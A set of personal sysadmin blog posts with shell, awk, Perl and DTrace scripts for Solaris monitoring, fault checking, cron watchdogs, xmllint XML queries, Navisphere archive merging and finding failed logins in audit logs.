Chi Hung Chan

How A Simple Test Script Evolve

2011-07-03T14:35:00.002+08:00

I will try to walk you through how a simple test script evolve from a one-time throw-away script to a more generic program that can be re-use.

The requirement is pretty simple. "Can I have a script to submit program-a to run 5 times for 10 minutes, 3 times for 5 minutes and 2 times for half an hour?". There you go with a one-time throw-away script. BTW, this is supposed to run on a Linux system

#! /bin/sh

./program-a --duration 600
./program-a --duration 600
./program-a --duration 600
./program-a --duration 600
./program-a --duration 600

./program-a --duration 300
./program-a --duration 300
./program-a --duration 300

./program-a --duration 1800
./program-a --duration 1800

Our job is done. What if the requirement for duration needs to be changed and we will have to modify quite a few places in the above script. So the script evolved to do some looping.

#! /bin/sh

for i in 1 2 3 4 5
do
    ./program-a --duration 600
done

for i in 1 2 3
do
    ./program-a --duration 300
done

for i in 1 2
do
   ./program-a --duration 1800
done

Not too bad! But there are still a few places where we hard code things like how many times we loop and the duration. OK, may be we can do some form of input instead of fix values

#! /bin/sh

while read duration howmany
do
    seq $howmany | while read count
    do
        ./program-a --duration $duration
    done
done <<EOF
600 5
300 3
1800 2
EOF

Now all I have to do is to change the input data (within the EOF) in the script to control the duration in seconds and how many times to loop through. Hey, but I still need to modify the program every time there is a change in requirement. Can't we have that information to be controlled by input arguments. Also, I want to tell the script in terms of day/hour/minute/second instead of just seconds because I am lazy to calculate. Not a problem at all. Let say the input argument takes the form of "1d23h45m6sx7" to represent looping through the prgroam 7 times with a duration of 1 day 23 hours 45 minutes 6 seconds (that is 171906 seconds, if you work it out). This calculation can be easily done by using sed to substitute day (d) with '*86400+', hour (h) with '*3600+', minute (m) with '*60+' and second (s) with ''. You also need to remove any ending '+' to avoid illegal arthematic epxpression.

#! /bin/sh

if [ $# -eq 0 ]; then
    echo "Usage: $0  [?d?h?m?sx?]"
    echo "       Eg. $0 1d23h45m6sx17 4h30sx8 1hx7"
    exit 1
fi


# check arg syntax
for arg in $@
do
    echo $arg | egrep '^([1-9][0-9]*d)?([1-9][0-9]*h)?([1-9][0-9]*m)?([1-9][0-9]*s)?x[1-9][0-9]*$' > /dev/null 
    if [ $? -ne 0 ]; then
        echo "Error. $arg syntax not correct"
        exit 2
    fi
done


for arg in $@
do

    duration=`echo ${arg%x*} | sed -e 's/d/*86400+/;s/h/*3600+/;s/m/*60+/;s/s//;s/+$//' | bc`
    for count in `seq ${arg#*x}`
    do
        ./program-a --duration $duration
    done
done

If you need to run program-a 1.5 day once, 3 hour and 5 seconds twice and 30 minutes thrice, all you need to do is
./loop.sh 1d12hx1 3h5sx2 30mx3
I hope this blog shows you how a simple script can evolve into something so generic that your future test scripts can be based on.

Monitor Solaris Zones with prstat

2011-05-29T10:51:00.006+08:00

Solaris provides an interactive command line tool, prstat, to help you to monitor the zone utilisation if you provide "-Z" flag. The screen displays both processes info and zones info to fit your terminal window.

   PID USERNAME  SIZE   RSS STATE  PRI NICE      TIME  CPU PROCESS/NLWP       
  8632 chihung  7204K 6792K cpu10   49    0   0:00:00 0.0% prstat/1
   584 root     1696K  684K sleep   59    0   0:00:00 0.0% smcboot/1
   260 root     2008K 1244K sleep   59    0   0:00:00 0.0% ttymon/1
   228 root     2264K  924K sleep   59    0   0:01:16 0.0% cron/1
   112 root     3524K 2600K sleep   59    0   0:00:00 0.0% picld/5
   110 root     2140K 1288K sleep   59    0   0:00:00 0.0% syseventd/14
   255 root     1696K  904K sleep   59    0   0:00:05 0.0% sac/1
   231 daemon   2280K  940K sleep   59    0   0:00:00 0.0% rpcbind/1
   130 root     7952K 6216K sleep   59    0   0:00:03 0.0% devfsadm/72
 22936 root     3348K 1356K sleep   59    0   0:00:00 0.0% sshd/1
  9186 root     4424K 2508K sleep   59    0   0:00:00 0.0% htt_server/2
   237 daemon   2028K 1276K sleep   60  -20   0:00:00 0.0% nfs4cbd/2
   138 daemon   4076K 2188K sleep   59    0   0:09:56 0.0% kcfd/4
   238 daemon    495M  494M sleep   59    0   0:06:46 0.0% nfsmapid/4
   137 root     1312K  888K sleep   59    0   0:00:00 0.0% powerd/2
     9 root     9672K 8720K sleep   59    0   0:03:00 0.0% svc.configd/17
     7 root       12M   10M sleep   59    0   0:02:47 0.0% svc.startd/13
   239 daemon   2336K 1512K sleep   59    0   0:00:00 0.0% statd/1
ZONEID    NPROC  SIZE   RSS MEMORY      TIME  CPU ZONE                        
     0      123 1489M 1008M   3.0%  10:01:44 0.0% global                      
    26       29   90M   56M   0.1%   0:18:41 0.0% john                      
    27       33  169M  123M   0.3%   0:23:04 0.0% mark                 
     5       31  155M  118M   0.3%   0:18:47 0.0% node102                     
     2       32  161M  122M   0.3%   1:21:49 0.0% sgeexec2                    
    62       33  168M  122M   0.3%   0:22:38 0.0% henry                     
    19       29   89M   54M   0.1%   0:18:56 0.0% peter                     
Total: 2221 processes, 8427 lwps, load averages: 1.65, 4.26, 2.60

With "-c" flag to avoid overwritting the previous display and "-n 1,99999" to tell prstat to display up to 99999 zones (that should be enough for all your zones) information, you can pipe that to AWK to extract the MEMORY and CPU. If you schedule this task to start at mid-night daily at a sampling interval of 300 with 288 samples, you cover the whole day monitoring of all your zones.

Here is a script to convert the prstat zone data to CSV

#! /bin/ksh


export PATH=/usr/bin:/bin:/usr/sbin:/sbin


# zone IDs store as comma separated
zids=`zoneadm list -v | awk 'NR>1{printf("%d,",$1)}'`
zids=${zids%,}

# zone NAMEs store as comma separated
znames=`zoneadm list -v | awk 'NR>1{printf("%s,",$2)}'`
znames=${znames%,}


prstat -Z -n 1,99999 $1 $2 | nawk -v zids=$zids -v znames=$znames '
# print header (mem/* and cpu/*)
BEGIN {
 n=split(zids,a,",")
 m=split(znames,b,",")
 # %mem ($5)
 for(i=1;i<=n;++i){
  printf("mem/%s,",b[i])
 }
 # %cpu ($7)
 for(i=1;i<=n;++i){
  printf("cpu/%s,",b[i])
 }
 printf("\n")
}
# store each interval in array
/ZONEID/,/Total/ {
 if ( $0 !~ /ZONEID/ && $0 !~ /Total/ ) {
  gsub("%","")
  mem[$1]=$5
  cpu[$1]=$7
 }
}
/Total/ {
 for(i=1;i<=n;++i) {
  printf("%s,",mem[a[i]])
 }
 for(i=1;i<=n;++i) {
  printf("%s,",cpu[a[i]])
 }
 printf("\n")
}'

Let's run through it with an interval of 10 seconds for 4 samples. If you have 3 zones in this machine, the output will look like this

./zstat.sh 10 4
mem/global,mem/zone1,mem/zone2,mem/zone3,cpu/global,cpu/zone2,cpu/zone3,
3.2,1.2,1.0,1.0,23.0,5.0,7.0,9.0,2.0,
4.7,1.5,1.7,1.5,31.0,15.0,6.0,9.0,1.0,
11.0,5.7,2.3,3.0,40.0,5.0,22.0,13.0,5.0,
13.2,7.2,4.0,2.0,34.0,5.0,17.0,10.0,7.0,

I ran this script in my machines with 67 zones and imported the CSV into openoffice, here is the sample output:

200 Countries, 200 Years, 4 Minutes

2011-03-05T21:35:00.002+08:00

Another great Data Visualization example.

Wonder why Congo still stuck in the bottom-left of the chart. You may want to find out more about Rape of a Nation

No More Hanging Jobs in Cron

2011-03-05T21:11:00.001+08:00

Have you encountered 'prtdiag' or other commands hang for whatever reason? If your script happens to run these commands and launch from cron, your job will simply pile up until cron hits the limit. By default, Solaris configured cron to run 100 concurrent jobs and the next 101th job will just fail.

I developed a launcher program (watchdog) to limit the runtime of script (worker) that may have the above mentioned behaviour. It works well with my worker script and it should work for other programs too. So, no more hanging job in cron !!

#! /bin/ksh
#
# A watchdog program to limit the elapsed time of the worker shell script
# to avoid hanging processes that can pile up if worker runs under cron
#


export PATH=/usr/bin:/usr/sbin:/bin


#
# default time limit is 60 seconds
#
timelimit=${1:-60}

B
worker="${0%/*}/check-worker.ksh"
worker_name=${worker##*/}
worker_name=${worker_name%.*}
if [ ! -f $worker ]; then
    echo "Error. \"$worker\" cannot be found"
    exit 1
fi
if [ ! -x $worker ]; then
    echo "Error. \"$worker\" is not executable"
    exit 2
fi


watchdog()
{
    sleep 1; # wait for the worker to start
    while [ $timelimit -gt 0 ]
    do
        # pgrep is available since 5.8, else use ps -ef | grep -v grep | grep $worker_name
        jobid=`pgrep $worker_name`
        if [ $? -eq 1 ]; then
            break
        else
            sleep 1
        fi
        ((timelimit-=1))
    done
    if [ $timelimit -eq 0 ]; then
        # kill worker + child processes
        ptree $jobid | awk '$1=='$jobid'{start=1}start==1{print $1}' | while read pid
            do
                kill -TERM "$pid" > /dev/null 2>&1
            done
    fi
}


#
# start the watchdog before the worker
#
watchdog &


tmpfile="/tmp/.$work_name.$$"
$worker > $tmpfile 2>&1 &
worker_id=$!
wait $worker_id > /dev/null 2>&1
rc=$?


if [ $rc -ne 0 ]; then
    # replace this line to do whatever you want, send email, sms, logger....
    #
    # echo .... | mailx someone@somewhere.com

    details=`cat $tmpfile 2>/dev/null`
    echo "Exit status=$rc. There is a problem with the server '`hostname`' - $details"
fi


rm -f $tmpfile

Feel Like A Scripting Guy Again!

2011-03-05T20:39:00.005+08:00

I have not been scripting for quite a while and feel like I don't quality as a "Scripting Guy in the Lion City" anymore. Luckily my colleage (now is ex-colleague, 'cos I will be starting my new job next week) approached me to develop script to check hardware error messages from the /var/adm/messages in Solaris. Now I am as happy as a sandboy, or I should say "As Happy As A Scripting Guy!"

Anyway, here is my last script in the company.

If this script is going to run periodically via cron, we cannot just 'grep' certain pattern from the file. What if the /var/adm/messages has not been rotated for days or even weeks, it will be pretty inefficient to simply scan through the entire file. BTW, I have seen /var/adm/messages as big as few GB. Also, problem fixed previously will also appear in /var/adm/messages if it is not rotated.

The only way is to 'grep' only the content from where it left off in the previous run. It is easy to keep track of the current file size and store this information somewhere for the next poll to consume. The challenge is to 'seek' to the previous location and output only the content between the two polls. However, I am not able to find any UNIX commands that allow me to 'cat' file based on byte range.

In order to accomplish this, some high level scripting languages are used. Perl is selected because it is available since Solaris 8. Below one-liner is able to 'cat' only the updated contents in /var/adm/messages.

POS=$prev_pos perl -e 'open(F,"/var/adm/messages");seek(F,$ENV{"POS"},0); while($line=<F>){print $line;}'

Who say shell script is slow and inefficient! Always challenge yourself for a better solution.

Here is the complete script doing all the checking

#! /usr/bin/ksh
#
# Check on all the faults
#       hardware, svm, vx, df, /var/adm/messages, ifconfig, psrinfo
# Exit 1 if there is an error
#



PATH=/usr/bin:/usr/sbin:/usr/platform/`arch -k`/sbin:/usr/sfw/bin:/usr/local/bin
export PATH
LD_LIBRARY_PATH=/usr/lib:usr/platform/`arch -k`/lib:/usr/sfw/lib:/usr/local/lib
export LD_LIBRARY_PATH


Update()
{
    # if you do not want output, simply comment out the 'echo' command
    # remember to leave the colon (no-ops) command there
    echo "$1,\c"
    :
}


RC=0


#
# prtdiag(1M) - display system diagnostic information
#
# Exit Status
# 0 No failures or errors are detected in the system.
# 1 Failures or errors are detected in the system.
# 2 An internal prtdiag error occurred, for example, out of memory.
#
prtdiag > /dev/null 2>&1
[ $? -ne 0 ] && ((RC+=1)) && Update prtdiag



#
# fmadm(1M) - fault management configuration tool
#
# Exit Status
# 0 Successful completion.
# 1 An error occurred. Errors include a failure to communicate with fmd or 
#   insufficient privileges to perform the requested operation.
# 2 Invalid command-line options were specified.
#
osver=`uname -r`
if [ "${osver#*.}" -ge 10 ]; then
    fmadm faulty > /dev/null 2>&1
    [ $? -ne 0 ] && ((RC+=1)) && Update fmadm
fi



#
# df(1M) - displays number of free disk blocks and free files
#
# Exit Status
# 0  Successful completion.
# >0 An error occurred.
#
df -l > /dev/null 2>&1
[ $? -ne 0 ] && ((RC+=1)) && Update df



#
# ifconfig(1M) - configure network interface parameters
#
# Interface flag:
# FAILED
#     The  interface  has  failed.  New  addresses  cannot  be
#     created  on this interface. If this interface is part of
#     an IP network multipathing group, a failover will  occur
#     to another interface in the group, if possible
#
ifconfig -a | grep FAILED > /dev/null 2>&1
[ $? -eq 0 ] && ((RC+=1)) && Update ifconfig



#
# check svm via metadb and metastat
#
pkginfo SUNWmdu > /dev/null 2>&1
if [ $? -eq 0 ]; then
    metaset=`metaset`
    metadb > /dev/null 2>&1
    if [ $? -eq 0 -a ! -z $metaset ]; then

        # output should not have these characters from metadb, see metadb -i man page
        # d - replica does not have an associated device ID.
        # r - replica does not have device relocation information
        # W - replica has device write errors
        # M - replica had problem with master blocks
        # D - replica had problem with data blocks
        # F - replica had format problems
        # S - replica is too small to hold current database
        # R - replica had device read errors
        # B - tagged data associated with the replica is not valid
        metadb -i | sed -n '2,$s/[1-9][0-9].*//p' | egrep '[drWMDFSRB]' > /dev/null 2>&1
        rc1=$?
        #
        metastat | awk '$1=="State:" && $2!="Okay" {exit(1)}'
        rc2=$?
        if [ $rc1 -ne 0 -o $rc2 -ne 0 ]; then
            ((RC+=1))
            Update svm
        fi
    fi
fi



#
# psrinfo(1M) - displays information about processors
# Exit Status
# 0  Successful completion.
# >0 An error occurred.
#
psrinfo > /dev/null 2>&1
rc1=$?
psrinfo | awk '$2!="on-line"{exit(1)}'
rc2=$?
if [ $rc1 -ne 0 -o $rc2 -ne 0 ]; then
    ((RC+=1))
    Update psrinfo
fi



#
# VX
#
pkginfo VRTSvxfs VRTSvxvm > /dev/null 2>&1
if [ $? -eq 0 ]; then
    vxdisk list 2>&1 | grep -i fail > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        ((RC+=1))
        Update vx
    fi
fi



#
# 'grep' from /var/adm/messages
# need to seek to the previous position, instead of scan through the whole file again
#
hidden=${0##*/}
hidden="/tmp/.${hidden%%.*}_var-adm-messages"
prev_pos=0
if [ -f $hidden ]; then
    prev_pos=`cat $hidden`
fi
# if previous position is less than current file size, likely file has been recycled
filesize=`ls -l /var/adm/messages | awk '{print $5}'`
if [ $prev_pos -gt $filesize ]; then
    prev_pos=0
fi
#
perl -e 'open(F,"/var/adm/messages");seek(F,'$prev_pos',0); while($line=<F>){print $line;}' | \
    egrep -i 'ECC error|PS[0-9] has FAILED|Link Down|reboot after panic|file system full|by NR list: I/O error|fmd.*SEVERITY: Critical' > /dev/null 2>&1
if [ $? -eq 0 ]; then
    ((RC+=1))
    Update /var/adm/messages
fi
ls -l /var/adm/messages | awk '{print $5}' > $hidden



if [ $RC -gt 0 ]; then
    exit 1
fi

2011-02-26T21:45:00.002+08:00

For those who follows Model Approach for Primary School Maths blog:

I just published a eBook in LuLu.com. This ebook features 100 upper primary school problem sum questions with 'Model' answers. It costs only US$7.99.

Model Approach for Primary School Mathematics

Hope you find this useful. Thanks

Syslog Messages, Take 2

2011-02-22T08:49:00.006+08:00

Recently I have been helping my colleague to analyse data from Sun Solaris explorer (SUNWexplo) files and this required to parse through a lot of the /var/adm/messages generated by the system. Certain keywords are searched for possible system fault

perl -n -e 'print if /\b(bad|failed|critical|crash|down|offline|unavailable|fatal|panic)\b/i'

I managed to locate a few more important syslog messages and updated my previous blog on sample syslog accordingly.

While I am doing the final touch-up on my scripts, I found Solaris Common Messages and Troubleshooting Guide and Archive of Error Messages particular useful.

It would be wonderful if all our field engineers can help to consolidate all those messages related to incident. These information plus a central syslog server with real-time monitoring & alerting capability can help customer to effectively monitor all their servers. I believe this will help to differentiate us from our competitors.

Building a High Performance Cluster with Amazon Web Services

2011-01-23T22:42:00.001+08:00

Watch this video to see how easy to build a HPC cluster with Amazon EC2

xmllint for XML Namspace

2011-01-15T00:05:00.002+08:00

With XML namespace, xmllint is not able to traverse it simply using the XML tags. There is not much examples on the Internet showing how xmllint handle XML with namespace and this blog serves to fill this gap. Let's try xmllint with this sample XML file

$ cat ns.xml
<?xml version="1.0"?>
<Tests xmlns="http://www.adatum.com">
  <Test TestId="0001" TestType="CMD">
    <Name>Convert number to string</Name>
    <CommandLine>Examp1.EXE</CommandLine>
    <Input>1</Input>
    <Output>One</Output>
  </Test>
  <Test TestId="0002" TestType="CMD">
    <Name>Find succeeding characters</Name>
    <CommandLine>Examp2.EXE</CommandLine>
    <Input>abc</Input>
    <Output>def</Output>
  </Test>
  <Test TestId="0003" TestType="GUI">
    <Name>Convert multiple numbers to strings</Name>
    <CommandLine>Examp2.EXE /Verbose</CommandLine>
    <Input>123</Input>
    <Output>One Two Three</Output>
  </Test>
  <Test TestId="0004" TestType="GUI">
    <Name>Find correlated key</Name>
    <CommandLine>Examp3.EXE</CommandLine>
    <Input>a1</Input>
    <Output>b1</Output>
  </Test>
  <Test TestId="0005" TestType="GUI">
    <Name>Count characters</Name>
    <CommandLine>FinalExamp.EXE</CommandLine>
    <Input>This is a test</Input>
    <Output>14</Output>
  </Test>
  <Test TestId="0006" TestType="GUI">
    <Name>Another Test</Name>
    <CommandLine>Examp2.EXE</CommandLine>
    <Input>Test Input</Input>
    <Output>10</Output>
  </Test>
</Tests>

$ xmllint --shell ns.xml
/ > cd Tests
Tests is a 0 Node Set
/ >

In order to traverse XML file with namespace defined, you need to set it with a prefix.

$ head -2 ns.xml
<?xml version="1.0"?>
<Tests xmlns="http://www.adatum.com">

$ xmllint --shell ns.xml
/ > setns a=http://www.adatum.com
/ > cd a:Tests
Tests > cd a:Test
a:Test is a 6 Node Set
Tests > cd a:Test[3]
Test > dir
ELEMENT Test
  ATTRIBUTE TestId
    TEXT
      content=0003
  ATTRIBUTE TestType
    TEXT
      content=GUI
Test > cat
<Test TestId="0003" TestType="GUI">
    <Name>Convert multiple numbers to strings</Name>
    <CommandLine>Examp2.EXE /Verbose</CommandLine>
    <Input>123</Input>
    <Output>One Two Three</Output>
  </Test>
Test >

If you have more than 1 namespace to work with, just set it with a different prefix name. You do not have to use the same namespace declaration mapping.

$ cat ns2.xml
<h:html xmlns:xdc="http://www.xml.com/books"
        xmlns:h="http://www.w3.org/HTML/1998/html4">
 <h:head><h:title>Book Review</h:title></h:head>
 <h:body>
  <xdc:bookreview>
   <xdc:title>XML: A Primer</xdc:title>
   <h:table>
    <h:tr align="center">
     <h:td>Author</h:td><h:td>Price</h:td>
     <h:td>Pages</h:td><h:td>Date</h:td></h:tr>
    <h:tr align="left">
     <h:td><xdc:author>Simon St. Laurent</xdc:author></h:td>
     <h:td><xdc:price>31.98</xdc:price></h:td>
     <h:td><xdc:pages>352</xdc:pages></h:td>
     <h:td><xdc:date>1998/01</xdc:date></h:td>
    </h:tr>
   </h:table>
  </xdc:bookreview>
 </h:body>
</h:html>


$ xmllint --shell ns2.xml
/ > cd h:html
h:html is a 0 Node Set
/ > setns h=http://www.w3.org/HTML/1998/html4
/ > setns xdc=http://www.xml.com/books
/ > cd h:html/h:body/xdc:bookreview/xdc:title
title > cat
<xdc:title>XML: A Primer</xdc:title>
title >

xmllint - Answer to an XML Question

2011-01-07T22:41:00.009+08:00

Today I was asked about how I can validate or check the well-formness of XML file. My immediate answers were using a browser to view the malformed XML and the second answer was to parse it using tdom. At that time, xmllint wasn't in my mind. 'cos I seldom use it.

After some thoughts, I think I should validate my anwser. I downloaded a pretty sizeable XML file from Mondial project for my test. I deliberately removed one of the closing tags to make it not well-formed. Both tdom and Firefox are not able to identify the exact location of the missing closing tag. It is only xmllint is able to pinpoint the location

$ diff mondial.xml mondial-malformed.xml 
16819d16818
<    </country>


$ firefox mondial-malformed.xml

Firefox
XML Parsing Error: mismatched tag. Expected: </country>.
Location: file:///home/chihung/Projects/xmllint/mondial-malformed.xml
Line Number 39564, Column 3:</mondial>
--^


$ tclsh
% package require tdom
0.8.3
% set doc [dom parse [tDOM::xmlReadFile mondial-malformed.xml]]
error "mismatched tag" at line 39564 character 2
"ude>
   </desert>
</m <--Error-- ondial>
"


$ xmllint --shell mondial-malformed.xml 
mondial-malformed.xml:39564: parser error : Opening and ending tag mismatch: country line 16795 and mondial
</mondial>
          ^
mondial-malformed.xml:39565: parser error : Premature end of data in tag mondial line 3

^

OK, xmllint is sure the winner in this exercise. Below shows xmllint in action:

$ xmllint --shell mondial.xml 
/ > help
 base         display XML base of the node
 setbase URI  change the XML base of the node
 bye          leave shell
 cat [node]   display node or current node
 cd [path]    change directory to path or to root
 dir [path]   dumps informations about the node (namespace, attributes, content)
 du [path]    show the structure of the subtree under path or the current node
 exit         leave shell
 help         display this help
 free         display memory usage
 load [name]  load a new document with name
 ls [path]    list contents of path or the current directory
 set xml_fragment replace the current node content with the fragment parsed in context
 xpath expr   evaluate the XPath expression in that context and print the result
 setns nsreg  register a namespace to a prefix in the XPath evaluation context
              format for nsreg is: prefix=[nsuri] (i.e. prefix= unsets a prefix)
 setrootns    register all namespace found on the root element
              the default namespace if any uses 'defaultns' prefix
 pwd          display current working directory
 quit         leave shell
 save [name]  save this document to name or the original name
 write [name] write the current node to the filename
 validate     check the document for errors
 relaxng rng  validate the document agaisnt the Relax-NG schemas
 grep string  search for a string in the subtree

/ > validate
mondial.xml:35144: element island: validity error : Syntax of value for attribute sea of island is not valid
validity error : attribute sea line 35144 references an unknown ID ""

/ > base
mondial.xml

/ > dir
DOCUMENT
version=1.0
encoding=UTF-8
URL=mondial.xml
standalone=true

/ > grep Singapore
/mondial/country[105]/name : t--        9 Singapore
/mondial/country[105]/city/name : t--        9 Singapore
/mondial/island[163]/name : t--        9 Singapore

/ > cd /mondial/country[105]

country > cat
<country car_code="SGP" area="632.6" capital="cty-Singapore-Singapore" memberships="org-AsDB org-ASEAN org-Mekong-Group org-CP org-C org-CCC org-ESCAP org-G-77 org-IAEA org-IBRD org-ICC org-ICAO org-ICFTU org-Interpol org-IFRCS org-IFC org-ILO org-IMO org-Inmarsat org-IMF org-IOC org-ISO org-ICRM org-ITU org-Intelsat org-NAM org-PCA org-UN org-UNIKOM org-UPU org-WHO org-WIPO org-WMO org-WTrO">
      <name>Singapore</name>
      <population>3396924</population>
      <population_growth>1.9</population_growth>
      <infant_mortality>4.7</infant_mortality>
      <gdp_total>66100</gdp_total>
      <gdp_ind>28</gdp_ind>
      <gdp_serv>72</gdp_serv>
      <inflation>1.7</inflation>
      <indep_date>1965-08-09</indep_date>
      <government>republic within Commonwealth</government>
      <encompassed continent="asia" percentage="100"/>
      <ethnicgroups percentage="6.4">Indian</ethnicgroups>
      <ethnicgroups percentage="76.4">Chinese</ethnicgroups>
      <ethnicgroups percentage="14.9">Malay</ethnicgroups>
      <city id="cty-Singapore-Singapore" is_country_cap="yes" country="SGP">
         <name>Singapore</name>
         <longitude>103.833</longitude>
         <latitude>1.3</latitude>
         <population year="87">2558000</population>
         <located_at watertype="sea" sea="sea-SouthChinaSea"/>
         <located_on island="island-Singapore"/>
      </city>
   </country>

Finding countries with infant_mortality less than Singapore.

country > xpath //country[infant_mortality<4.7]/name/text()
Object is a Node Set :
Set contains 9 nodes:
1  TEXT
    content=Andorra
2  TEXT
    content=Sweden
3  TEXT
    content=Iceland
4  TEXT
    content=Jersey
5  TEXT
    content=Man
6  TEXT
    content=Hong Kong
7  TEXT
    content=Japan
8  TEXT
    content=Anguilla
9  TEXT
    content=Bermuda

country > quit

This can be turned into command line too.

$ xmllint --xpath '//country[infant_mortality<4.7]/name' --format mondial.xml 
<name>Andorra</name><name>Sweden</name><name>Iceland</name><name>Jersey</name><name>Man</name><name>Hong Kong</name><name>Japan</name><name>Anguilla</name><name>Bermuda</name>

real 0m0.219s
user 0m0.192s
sys 0m0.020s

Alternatively, you can do the above dynamically:

$ xmllint --shell mondial.xml
/ > xpath //country[infant_mortality<//country[name="Singapore"]/infant_mortality]/name/text()
Object is a Node Set :
Set contains 9 nodes:
1  TEXT
    content=Andorra
2  TEXT
    conte;nt=Sweden
3  TEXT
    content=Iceland
4  TEXT
    content=Jersey
5  TEXT
    content=Man
6  TEXT
    content=Hong Kong
7  TEXT
    content=Japan
8  TEXT
    content=Anguilla
9  TEXT
    content=Bermuda

$ time xmllint --xpath '//country[infant_mortality<//country[name="Singapore"]/infant_mortality]/name' --format mondial.xml 
<name>Andorra</name><name>Sweden</name><name>Iceland</name><name>Jersey</name><name>Man</name><name>Hong Kong</name><name>Japan</name><name>Anguilla</name><name>Bermuda</name>
real 0m2.074s
user 0m2.052s
sys 0m0.016s

xmllint is definitely the preferred XML companion. It is extremely fast and efficient comparing with Firefox and tdom.

Overloading My Age, Part 2

2010-12-24T08:17:00.002+08:00

2 years ago, I posted about I would be 30 this year. Time flies.

DTrace BoF at LISA10

2010-11-20T13:52:00.002+08:00

Interested in DTrace ? If so, you have to watch these videos and see how smart Brendan Gregg used mdb and dtrace to hack those TCP DTrace scripts without looking at the kernel source code.

Merger of the Merger

2010-11-01T20:25:00.002+08:00

I was given 50+ EMC Navisphere performance data and asked to merge them into a single data file for Navisphere to import. The bad news is the existing EMC Navisphere Analyzer Command Line Interface (naviseccli) can only allow to merge 2 files at a time.
naviseccli analyzer -archivemerge -data archive1 archive2 [-out outputarchive] [-overwrite y|n]

Working with this limitation, I developed a merger shell to merge all these performance data. Assuming you have the following performance files with timestamp builtin in the filename, my approach is to generate the 1st merger file based on the first two files. After that, I will loop through the rest (starting from the 3rd file) of them together with the merger file to form a new archive. You will need to have a temporary file to house the intermediate archive and swap it before the next loop.

# ls -1
CKM12345678901_SPA_2010-10-24_17-00-41-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-24_19-00-41-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-24_21-00-41-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-26_20-00-55-GMT_P08-00.nar
...
CKM12345678901_SPA_2010-10-29_10-00-46-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-29_12-00-46-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-29_14-00-47-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-29_16-00-46-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-29_18-00-46-GMT_P08-00.nar

Here is the merger.sh script

#! /bin/ksh


if [ $# -ne 1 ]; then
        echo "Usage: $0 <mergefile>"
        exit 1
fi
mergefile="$1"
if [ -f $mergefile ]; then
        echo "Error. $file already exist"
        exit 2
fi


export PATH=/opt/Navisphere/bin:/usr/bin:/bin:/usr/sbin:/usr/local/bin
export LD_LIBRARY_PATH=/opt/Navisphere/lib:/usr/lib:/lib:/usr/local/lib


tmpls=`mktemp`
tmpmerge=`mktemp`


ls -1 CKM*.nar > $tmpls


#
# do the first 2 files
#
file1=`head -1 $tmpls`
file2=`head -2 $tmpls | tail -1`
echo "Processing $file1 $file2 ... \c"
naviseccli analyzer -archivemerge -data $file1 $file2 -out $mergefile
echo "Completed."


#
# do the rest of the files
#
awk 'NR>2&&NR<=10' $tmpls | while read fileN
do
        echo "Processing $fileN ... \c"
        naviseccli analyzer -archivemerge -data $mergefile $fileN -out $tmpmerge
        mv $tmpmerge $mergefile
        echo "Completed."
done


rm -f $tmpls $tmpmerge

See merger.sh in action:

# ./merger.sh new.nar
Processing CKM12345678901_SPA_2010-10-24_17-00-41-GMT_P08-00.nar CKM12345678901_SPA_2010-10-24_19-00-41-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-24_21-00-41-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-26_20-00-55-GMT_P08-00.nar ... Completed merging archives.
Completed.
...
Processing CKM12345678901_SPA_2010-10-29_10-00-46-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-29_12-00-46-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-29_14-00-47-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-29_16-00-46-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-29_18-00-46-GMT_P08-00.nar ... Completed merging archives.
Completed.

Finding Failed Logins in Solaris using C2 Log

2010-10-26T23:19:00.006+08:00

In Linux, you have lastb - last bad logins, to log failed logins. In Solaris, you can register it using loginlog(4). but it is not turn on by default.

If your environment enables auditing (aka BSM - Basic Security Module, or C2), you can extract the login information. Default setting for BSM includes login / logout. With auditreduce, you can extrace the lo (login/logout) class from the audit log. Below one-liner will help you to extract those logins.

root@chihung# auditreduce -a 20101025000000 -u chihung \
 -c lo /var/audit/20101024164715.not_terminated.chihung | praudit -l
header,85,2,ftp access,,chihung7,2010-10-25 11:37:59.141+08:00,subject,chihung,chihung,chihung,root,root,4675,4675,633 131093 host1.chihung.chan,text,bad password,return,failure,1
header,69,2,login - ssh,,chihung4,2010-10-25 11:52:19.537+08:00,subject,chihung,chihung,chihung,chihung,chihung,157,4071257189,37622 host2.chihung.chan,return,failure,Maximum number of attempts exceeded
header,69,2,login - ssh,,chihung2,2010-10-25 11:52:43.658+08:00,subject,chihung,chihung,chihung,chihung,chihung,327,372387060,376131094 host3.chihung.chan,return,failure,Permission denied

House Keep Script Not Doing Its Job

2010-10-26T21:43:00.006+08:00

Recently I found one of my customer's scripts is not doing what it suppose to do, which is to house keep old log files. Here is how I locate the culprit.

I have been dumping out those zero link files daily for all my managed servers and realised that one of the application accounts has been choking up 2GB+ worth of memory. Since these files are having zero link, there is no way to find out the original file name. With the help of DTrace in Solaris 10, I am able to tell when this particular user trying to delete (unlink in syscall) a file. Below is a simple dtrace script that I run for a couple of days.

#! /usr/sbin/dtrace -s

#pragma D option quiet

syscall::unlink:entry
/uid==1234/
{
        printf("%-20Y pid=%d ppid=%d execname=%s args=%s\n", walltimestamp, pid, ppid, execname, copyinstr(arg0));
}

Sample output:

2010 Oct 21 20:01:15 pid=1667 ppid=29587 execname=gzip args=/opt/chihung/log/Err-s_ac.txt.20101021064218
2010 Oct 21 20:01:15 pid=29599 ppid=29587 execname=gzip args=/opt/chihung/log/ChanSecurityLog211010.log
2010 Oct 21 20:01:48 pid=1668 ppid=29587 execname=gzip args=/opt/chihung/log/ChanControlServicesLog211010.log
2010 Oct 21 20:02:21 pid=1916 ppid=29587 execname=gzip args=/opt/chihung/log/ChanBusinessServicesLog211010.log
